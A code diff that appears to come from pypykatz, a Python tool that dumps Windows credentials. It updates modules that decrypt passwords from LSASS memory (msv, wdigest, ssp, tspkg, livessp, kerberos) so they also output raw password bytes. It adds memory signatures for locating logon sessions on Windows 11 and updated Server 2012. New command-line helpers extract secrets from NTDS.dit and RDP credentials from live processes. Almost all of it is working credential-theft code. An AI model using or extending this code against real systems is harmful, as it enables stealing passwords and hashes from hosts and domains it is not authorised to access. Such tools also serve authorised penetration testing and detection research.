+		self.TargetDomainName = LSA_UNICODE_STRING(reader)
+		self.Description = LSA_UNICODE_STRING(reader)
+		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
+		self.KDCServer = LSA_UNICODE_STRING(reader)    				#	//?(reader).value
+		self.unk10586_d = LSA_UNICODE_STRING(reader)					#//?(reader).value
+		self.ClientName = PKERB_EXTERNAL_NAME(reader)
+		self.name0 = PVOID(reader).value
+		self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
+		self.unk2 = ULONG(reader).value
+		self.unk14393_0 = PVOID(reader).value
+		self.unk2x = ULONG(reader).value
+		self.KeyType = ULONG(reader).value
+		self.Key = KIWI_KERBEROS_BUFFER(reader)
+		self.unk14393_1 = PVOID(reader).value
+		self.unk3 = PVOID(reader).value										# // ULONG		KeyType2 = (reader).value
+		self.unk4 = PVOID(reader).value										# // KIWI_KERBEROS_BUFFER	Key2 = (reader).value
+		self.unk5 = PVOID(reader).value										# // up(reader).value
+		self.StartTime = FILETIME(reader).value
+		self.EndTime = FILETIME(reader).value
+		self.RenewUntil = FILETIME(reader).value
+		self.unk6 = ULONG(reader).value
+		self.unk7 = ULONG(reader).value
+		self.domain = PCWSTR(reader).value
+		self.unk8 = ULONG(reader).value
+		reader.align()
+		self.strangeNames = PVOID(reader).value
+		self.unk9 = ULONG(reader).value
+		self.TicketEncType = ULONG(reader).value
+		self.TicketKvno = ULONG(reader).value
+		reader.align()
+		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+
+
 class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER):
 	def __init__(self, reader):
 		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607)
diff --git a/pypykatz/lsadecryptor/packages/livessp/decryptor.py b/pypykatz/lsadecryptor/packages/livessp/decryptor.py
index dd3c605..8a51f78 100644
--- a/pypykatz/lsadecryptor/packages/livessp/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/livessp/decryptor.py
@@ -13,6 +13,7 @@ class LiveSspCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -21,6 +22,7 @@ class LiveSspCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 	def to_json(self):
@@ -31,6 +33,7 @@ class LiveSspCredential:
 		t += '\tusername %s\n' % self.username
 		t += '\tdomainname %s\n' % self.domainname
 		t += '\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class LiveSspDecryptor(PackageDecryptor):
@@ -56,11 +59,11 @@ class LiveSspDecryptor(PackageDecryptor):
 		if suppCreds.credentials.Password.Length != 0:
 			enc_data = suppCreds.credentials.Password.read_maxdata(self.reader)
 			if c.username.endswith('$') is True:
-				c.password = self.decrypt_password(enc_data, bytes_expected=True)
+				c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 				if c.password is not None:
 					c.password = c.password.hex()
 			else:
-				c.password = self.decrypt_password(enc_data)
+				c.password, c.password_raw = self.decrypt_password(enc_data)
 		
 		self.credentials.append(c)
 	
diff --git a/pypykatz/lsadecryptor/packages/msv/decryptor.py b/pypykatz/lsadecryptor/packages/msv/decryptor.py
index 2369e09..284ae68 100644
--- a/pypykatz/lsadecryptor/packages/msv/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/msv/decryptor.py
@@ -6,15 +6,15 @@
 import io
 import json
 import base64
-from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump
+from pypykatz.commons.common import WindowsBuild, WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump
 from pypykatz.commons.filetime import filetime_to_dt
-#from pypykatz.commons.win_datatypes import *
 from pypykatz.lsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC
 from pypykatz.lsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY
 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
 
 class MsvCredential:
 	def __init__(self):
+		self.credtype = 'msv'
 		self.username = None
 		self.domainname = None
 		self.NThash = None
@@ -53,6 +53,7 @@ class CredmanCredential:
 		self.luid = None
 		self.username = None
 		self.password = None
+		self.password_raw = b''
 		self.domainname = None
 
 	def to_dict(self):
@@ -61,6 +62,7 @@ class CredmanCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 		
@@ -73,6 +75,7 @@ class CredmanCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomain %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 		
@@ -282,20 +285,23 @@ class MsvDecryptor(PackageDecryptor):
 
 	def find_first_entry(self):
 		#finding signature
+		#input('sig %s' % self.decryptor_template.signature.hex())
+		#input('sig %s' % self.decryptor_template.first_entry_offset)
 		position = self.find_signature('lsasrv.dll',self.decryptor_template.signature)
 
 		#getting logon session count
-		if self.sysinfo.architecture == KatzSystemArchitecture.X64 and self.sysinfo.buildnumber > WindowsMinBuild.WIN_BLUE.value:
-			ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2)
-			self.reader.move(ptr_entry_loc)
-			self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False)
-		else:
-			self.logon_session_count = 1
+		self.logon_session_count = 1
+		if self.sysinfo.architecture == KatzSystemArchitecture.X64:
+			if self.sysinfo.buildnumber >= WindowsBuild.WIN_8.value or (WindowsMinBuild.WIN_8.value <= self.sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value and self.sysinfo.msv_dll_timestamp > 0x60000000):
+				ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2)
+				self.reader.move(ptr_entry_loc)
+				self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False)
 
 		#getting logon session ptr
 		ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
 		ptr_entry = self.reader.get_ptr(ptr_entry_loc)
 		return ptr_entry, ptr_entry_loc
+
 	
 	def add_entry(self, entry):
 		self.current_logonsession = LogonSession.parse(entry, self.reader)
@@ -332,11 +338,11 @@ class MsvDecryptor(PackageDecryptor):
 		if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
 			enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
 			if c.username.endswith('$') is True:
-				c.password = self.decrypt_password(enc_data, bytes_expected=True)
+				c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 				if c.password is not None:
 					c.password = c.password.hex()
 			else:
-				c.password = self.decrypt_password(enc_data)
+				c.password, c.password_raw = self.decrypt_password(enc_data)
 		
 		c.luid = self.current_logonsession.luid
 			
@@ -352,9 +358,9 @@ class MsvDecryptor(PackageDecryptor):
 		
 		self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
 		self.log('Decrypting credential structure')
-		dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
+		dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
 		self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
-			
+
 		struct_reader = GenericReader(dec_data, self.sysinfo.architecture)
 		if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc':
 			creds_struct = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC(struct_reader)
diff --git a/pypykatz/lsadecryptor/packages/msv/templates.py b/pypykatz/lsadecryptor/packages/msv/templates.py
index 42234c1..3237e7e 100644
--- a/pypykatz/lsadecryptor/packages/msv/templates.py
+++ b/pypykatz/lsadecryptor/packages/msv/templates.py
@@ -4,6 +4,7 @@
 #  Tamas Jos (@skelsec)
 #
 import io
+from pypykatz import logger
 from minidump.win_datatypes import BOOLEAN, HANDLE
 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
 from pypykatz.commons.win_datatypes import USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \
@@ -25,6 +26,8 @@ class MsvTemplate(PackageTemplate):
 	
 	@staticmethod
 	def get_template(sysinfo):
+		logger.debug('buildnumber: %s' % sysinfo.buildnumber)
+		logger.debug('msv_dll_timestamp: %s' % sysinfo.msv_dll_timestamp)
 		template = MsvTemplate()
 		template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST
 		template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct)
@@ -91,9 +94,16 @@ class MsvTemplate(PackageTemplate):
 				template.offset2 = -4	
 				
 			elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
-				template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
-				template.first_entry_offset = 16
-				template.offset2 = -4	
+				if sysinfo.msv_dll_timestamp > 0x60000000:
+					# new win2012 update weirdness
+					template.list_entry = PKIWI_MSV1_0_LIST_63
+					template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05'
+					template.first_entry_offset = 34
+					template.offset2 = -6
+				else:
+					template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
+					template.first_entry_offset = 16
+					template.offset2 = -4
 				
 			elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
 				template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05'
@@ -117,12 +127,20 @@ class MsvTemplate(PackageTemplate):
 				template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74'
 				template.first_entry_offset = 23
 				template.offset2 = -4
-				
-			else:
-				#1903
+			
+			elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
 				template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
 				template.first_entry_offset = 23
 				template.offset2 = -4
+				
+			else:
+				#win11
+				template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74'
+				template.first_entry_offset = 24
+				template.offset2 = -4
+
+			#BYTE PTRN_WN11_LogonSessionList[]       = {};
+			#logger.debug(template.signature.hex())
 		
 		elif sysinfo.architecture == KatzSystemArchitecture.X86:
 			if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
@@ -565,10 +583,6 @@ class KIWI_MSV1_0_LIST_63:
 		self.SecondaryLocallyUniqueIdentifier = LUID(reader).value
 		self.waza = reader.read(12)
 		reader.align()
-		#
-		#print(hexdump(reader.peek(0x100)))
-		#input()
-		#
 		self.UserName = LSA_UNICODE_STRING(reader)
 		self.Domaine = LSA_UNICODE_STRING(reader)
 		self.unk14 = PVOID(reader).value
@@ -597,3 +611,106 @@ class KIWI_MSV1_0_LIST_63:
 		self.unk28 = PVOID(reader).value
 		self.unk29 = PVOID(reader).value
 		self.CredentialManager = PVOID(reader)
+
+
+
+
+
+
+templates_test = {
+	#if WindowsMinBuild.WIN_XP.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
+	'0' : {
+		'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8',
+		'first_entry_offset' : -4,
+		'offset2' : 0
+	},
+	#elif WindowsMinBuild.WIN_2K3.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
+	'1' : {
+		'signature' : b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8',
+		'first_entry_offset' : -4,
+		'offset2' : -45
+	},
+	#elif WindowsMinBuild.WIN_VISTA.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
+	'2' : {
+		'signature' : b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84',
+		'first_entry_offset' : 21, #-4,
+		'offset2' : -4
+	},
+	#elif WindowsMinBuild.WIN_7.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
+	'3' : {
+		'signature' : b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84',
+		'first_entry_offset' : 19,
+		'offset2' : -4,	
+	},
+	# elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
+	'4' : {
+		'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
+		'first_entry_offset' : 16,
+		'offset2' : -4
+	},
+
+	## elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
+	#'5' : {
+	#	'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05',
+	#	'first_entry_offset' : 36,
+	#	'offset2' : -6
+	#},
+
+	# elif WindowsMinBuild.WIN_BLUE.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
+	'5' : {
+		'signature' : b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05',
+		'first_entry_offset' : 34,
+		'offset2' : -6
+	},
+
+	#elif WindowsBuild.WIN_10_1507.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value:
+	#'6' : {
+	#	'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
+	#	'first_entry_offset' : 16,
+	#	'offset2' : -4
+	#},
+
+	'6' : {
+		'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
+		'first_entry_offset' : 34,
+		'offset2' : -6
+	},
+
+	# elif WindowsMinBuild.WIN_8.value <: sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
+	'7' : {
+		#1503 and 1603
+		'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
+		'first_entry_offset' : 16,
+		'offset2' : -4
+	},
+
+	# elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value:
+	'8' : {
+		#1703
+		'signature' : b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74',
+		'first_entry_offset' : 23,
+		'offset2' : -4
+	},
+
+	# elif WindowsBuild.WIN_10_1803.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
+	'9' : {
+		#1803
+		'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74',
+		'first_entry_offset' : 23,
+		'offset2' : -4
+	},
+
+	# elif WindowsBuild.WIN_10_1903.value <: sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
+	'10' : {
+		'signature' : b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74',
+		'first_entry_offset' : 23,
+		'offset2' : -4
+	},
+
+	# elif WindowsBuild.WIN_10_1703.value <: sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value:
+	'11' : {
+		'signature' : b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74',
+		'first_entry_offset' : 24,
+		'offset2' : -4,
+	},
+}
\ No newline at end of file
diff --git a/pypykatz/lsadecryptor/packages/ssp/decryptor.py b/pypykatz/lsadecryptor/packages/ssp/decryptor.py
index 74df8c3..ed7a88f 100644
--- a/pypykatz/lsadecryptor/packages/ssp/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/ssp/decryptor.py
@@ -14,6 +14,7 @@ class SspCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -22,6 +23,7 @@ class SspCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 		
@@ -33,6 +35,7 @@ class SspCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomainname %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class SspDecryptor(PackageDecryptor):
@@ -54,11 +57,11 @@ class SspDecryptor(PackageDecryptor):
 		c.domainname = ssp_entry.credentials.UserName.read_string(self.reader)
 		if ssp_entry.credentials.Password.Length != 0:
 			if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
-				c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True)
+				c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
 				if c.password is not None:
 					c.password = c.password.hex()
 			else:
-				c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader))
+				c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader))
 
 		if c.username == '' and c.domainname == '' and c.password is None:
 			return
diff --git a/pypykatz/lsadecryptor/packages/tspkg/decryptor.py b/pypykatz/lsadecryptor/packages/tspkg/decryptor.py
index 5d5e891..af60aa9 100644
--- a/pypykatz/lsadecryptor/packages/tspkg/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/tspkg/decryptor.py
@@ -16,6 +16,7 @@ class TspkgCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -24,8 +25,10 @@ class TspkgCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
+		
 	def to_json(self):
 		return json.dumps(self.to_dict())
 		
@@ -34,6 +37,7 @@ class TspkgCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomainname %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class TspkgDecryptor(PackageDecryptor):
@@ -82,10 +86,10 @@ class TspkgDecryptor(PackageDecryptor):
 				if primary_credential.credentials.Password.Length != 0:
 					enc_data = primary_credential.credentials.Password.read_maxdata(self.reader)
 					if c.username.endswith('$') is True:
-						c.password = self.decrypt_password(enc_data, bytes_expected=True)
+						c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
 						if c.password is not None:
 							c.password = c.password.hex()
 					else:
-						c.password = self.decrypt_password(enc_data)					
+						c.password, c.password_raw  = self.decrypt_password(enc_data)				
 				
 				self.credentials.append(c)
\ No newline at end of file
diff --git a/pypykatz/lsadecryptor/packages/wdigest/decryptor.py b/pypykatz/lsadecryptor/packages/wdigest/decryptor.py
index 9878c44..2cba9b2 100644
--- a/pypykatz/lsadecryptor/packages/wdigest/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/wdigest/decryptor.py
@@ -15,6 +15,7 @@ class WdigestCredential:
 		self.username = None
 		self.domainname = None
 		self.password = None
+		self.password_raw = b''
 		self.luid = None
 	
 	def to_dict(self):
@@ -23,6 +24,7 @@ class WdigestCredential:
 		t['username'] = self.username
 		t['domainname'] = self.domainname
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['luid'] = self.luid
 		return t
 	def to_json(self):
@@ -33,6 +35,7 @@ class WdigestCredential:
 		t += '\t\tusername %s\n' % self.username
 		t += '\t\tdomainname %s\n' % self.domainname
 		t += '\t\tpassword %s\n' % self.password
+		t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		return t
 		
 class WdigestDecryptor(PackageDecryptor):
@@ -65,11 +68,11 @@ class WdigestDecryptor(PackageDecryptor):
 		wc.domainname = DomainName.read_string(self.reader)
 		wc.encrypted_password = Password.read_maxdata(self.reader)
 		if wc.username.endswith('$') is True:
-			wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
+			wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
 			if wc.password is not None:
 				wc.password = wc.password.hex()
 		else:
-			wc.password = self.decrypt_password(wc.encrypted_password)
+			wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password)
 
 		if wc.username == '' and wc.domainname == '' and wc.password is None:
 			return
diff --git a/pypykatz/lsadecryptor/packages/wdigest/templates.py b/pypykatz/lsadecryptor/packages/wdigest/templates.py
index 2dbeb6f..f7ecd0b 100644
--- a/pypykatz/lsadecryptor/packages/wdigest/templates.py
+++ b/pypykatz/lsadecryptor/packages/wdigest/templates.py
@@ -6,7 +6,7 @@
 
 #import io
 #from minidump.win_datatypes import *
-from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
+from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
 from pypykatz.commons.win_datatypes import LUID, ULONG, POINTER
 from pypykatz.lsadecryptor.package_commons import PackageTemplate
 
@@ -70,13 +70,13 @@ class WdigestTemplate(PackageTemplate):
 				template.primary_offset = 32
 				template.list_entry = PWdigestListEntry
 			
-			elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
+			elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
 				template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10'
 				template.first_entry_offset = -6
 				template.primary_offset = 32
 				template.list_entry = PWdigestListEntry
 				
-			else:
+			else: # sysinfo.buildnumber >= WindowsBuild.WIN_10_1809:
 				template.signature = b'\x74\x15\x8b\x17\x39\x56\x10'
 				template.first_entry_offset = -6
 				template.primary_offset = 32
diff --git a/pypykatz/crypto/__init__.py b/pypykatz/parsers/__init__.py
similarity index 100%
rename from pypykatz/crypto/__init__.py
rename to pypykatz/parsers/__init__.py
diff --git a/pypykatz/parsers/cmdhelper.py b/pypykatz/parsers/cmdhelper.py
new file mode 100644
index 0000000..460ce7a
--- /dev/null
+++ b/pypykatz/parsers/cmdhelper.py
@@ -0,0 +1,119 @@
+
+
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import asyncio
+import platform
+from tqdm import tqdm
+
+async def flush_buffer(buffer, outfile_handle = None):
+	try:
+		if outfile_handle is not None:
+			res = ''
+			for secret in buffer:
+				try:
+					res += str(secret)
+				except:
+					continue
+			outfile_handle.write(res)
+		else:
+			for secret in buffer:
+				try:
+					print(str(secret))
+				except:
+					continue
+		
+		buffer = []
+		return True, None
+	except Exception as e:
+		return None, e
+
+class ParsersCMDHelper:
+	def __init__(self):
+		self.live_keywords = ['parser']
+		self.keywords = ['parser']
+		
+	def add_args(self, parser, live_parser):
+		parser_group = parser.add_parser('parser', help='SMB related commands')
+		parser_subparsers = parser_group.add_subparsers()
+		parser_subparsers.required = True
+		parser_subparsers.dest = 'parser_module'
+
+		ntds_group = parser_subparsers.add_parser('ntds', help='NTDS.dit file parser, extracting secrets')
+		ntds_group.add_argument('ntdsfile', help="NTDS.dit file")
+		ntds_group.add_argument('systemhive', help="SYSTEM hive file or the Bootkey(in hex). This is needed to decrypt the secrets")
+		ntds_group.add_argument('-p', '--progress', action='store_true', help="Show progress bar. Please use this only if you also specified an output file.")
+		ntds_group.add_argument('-o', '--outfile', help='Output file. If omitted secrets will be printed to STDOUT')
+		ntds_group.add_argument('--strict', action='store_true', help='Strict parsing. Fails on errors')
+		ntds_group.add_argument('--no-history', action='store_true', help='Do not parse history')
+		
+		
+	def execute(self, args):
+		if args.command in self.keywords:
+			asyncio.run(self.run(args))
+		
+		if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
+			asyncio.run(self.run_live(args))
+			
+			
+	async def run_live(self, args):
+		if platform.system().lower() != 'windows':
+			raise Exception('Live commands only work on Windows!')
+			
+	async def run(self, args):
+		if args.parser_module == 'ntds':
+			from aesedb.examples.ntdsparse import NTDSParserConsole
+			ntdscon = NTDSParserConsole(
+				args.systemhive,
+				args.ntdsfile,
+				ignore_errors=args.strict,
+				with_history=not args.no_history
+			)
+
+			buffer = []
+			buffer_size = 1000
+			total = await ntdscon.get_total_rows()
+			if args.progress is True:
+				pbar     = tqdm(desc='JET table parsing ', total=total, unit='records', miniters= total//200 ,position=0)
+				pbar_sec = tqdm(desc='User secrets found', unit = '', miniters=buffer_size//10 ,position=1)
+
+			outfile_handle = None
+			if args.outfile is not None:
+				outfile_handle = open(args.outfile, 'w', newline = '')
+
+			async for secret, err in ntdscon.get_secrets():
+				if err is not None:
+					raise err
+
+				if args.progress is True:
+					pbar.update()
+					
+				if secret is None:
+					continue
+					
+				if args.progress is True:
+					pbar_sec.update()
+					
+
+				buffer.append(secret)
+				if len(buffer) > buffer_size:
+					_, err = await flush_buffer(buffer, outfile_handle)
+					buffer = []
+					if err is not None:
+						raise err
+
+				
+			_, err = await flush_buffer(buffer, outfile_handle)
+			buffer = []
+			if err is not None:
+				raise err
+
+
+			#parser = NTDSParserConsole(args.systemhive, args.ntdsfile, show_progress = args.progress, outfile = args.outfile)
+			#await parser.run()
+
+		
\ No newline at end of file
diff --git a/pypykatz/pypykatz.py b/pypykatz/pypykatz.py
index 897e9c1..41eb38e 100644
--- a/pypykatz/pypykatz.py
+++ b/pypykatz/pypykatz.py
@@ -122,11 +122,11 @@ class pypykatz:
 				print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
 			
 	@staticmethod
-	def go_live_phandle(lsass_process_handle, packages = ['all']):
+	def go_live_phandle(process_handle, packages = ['all']):
 		if platform.system() != 'Windows':
 			raise Exception('Live parsing will only work on Windows')
 		from pypykatz.commons.readers.local.live_reader import LiveReader
-		reader = LiveReader(lsass_process_handle=lsass_process_handle)
+		reader = LiveReader(process_handle=process_handle)
 		sysinfo = KatzSystemInfo.from_live_reader(reader)
 		mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
 		mimi.start(packages)
@@ -247,19 +247,18 @@ class pypykatz:
 		for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
 			try:
 				lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
-				logger.debug(lsa_dec.dump())
+				lsa_dec.dump()
 			except:
 				pass
 			else:
 				logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
 				return lsa_dec
-	
 	def get_lsa(self):
-		#trying with automatic template detection
+		#trying with automatic template detection		
 		try:
 			lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
 			lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
-			logger.debug(lsa_dec.dump())
+			lsa_dec.dump()
 		except Exception as e:
 			logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
 			lsa_dec = self.get_lsa_bruteforce()
@@ -383,13 +382,7 @@ class pypykatz:
 				self.get_ssp()
 			except Exception as e:
 				self.errors.append(('ssp', e))
-
-		if 'livessp' in packages or 'all' in packages:
-			try:
-				self.get_livessp()
-			except Exception as e:
-				self.errors.append(('livessp', e))
-
+		
 		if 'dpapi' in packages or 'all' in packages:
 			try:
 				self.get_dpapi()
@@ -402,3 +395,11 @@ class pypykatz:
 			except Exception as e:
 				self.errors.append(('cloudap', e))
 
+		if 'livessp' in packages or 'all' in packages:
+			try:
+				self.get_livessp()
+			except Exception as e:
+				self.errors.append(('livessp', e))
+
+		
+
diff --git a/pypykatz/crypto/unified/__init__.py b/pypykatz/rdp/__init__.py
similarity index 100%
rename from pypykatz/crypto/unified/__init__.py
rename to pypykatz/rdp/__init__.py
diff --git a/pypykatz/rdp/cmdhelper.py b/pypykatz/rdp/cmdhelper.py
new file mode 100644
index 0000000..2cd980c
--- /dev/null
+++ b/pypykatz/rdp/cmdhelper.py
@@ -0,0 +1,62 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+from pypykatz.rdp.parser import RDPCredParser
+
+
+
+class RDPCMDHelper:
+	def __init__(self):
+		self.live_keywords = ['rdp']
+		self.keywords = ['rdp']
+		
+	def add_args(self, parser, live_parser):
+		# live
+		live_group = live_parser.add_parser('rdp', help='a')
+		live_rdp_subparsers = live_group.add_subparsers()
+		live_rdp_subparsers.required = True
+		live_rdp_subparsers.dest = 'live_rdp_module'
+
+		live_logonpasswords_group = live_rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side)')
+		live_logonpasswords_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds')
+		live_logonpasswords_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL rdpcorets.dll')
+
+		live_mstsc_group = live_rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side)')
+		live_mstsc_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds')
+		live_mstsc_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL mstscax.dll')
+
+		# offline
+		group = parser.add_parser('rdp', help='Parse RDP credentials from minidump file')
+		rdp_subparsers = group.add_subparsers()
+		rdp_subparsers.required = True
+		rdp_subparsers.dest = 'rdp_module'
+
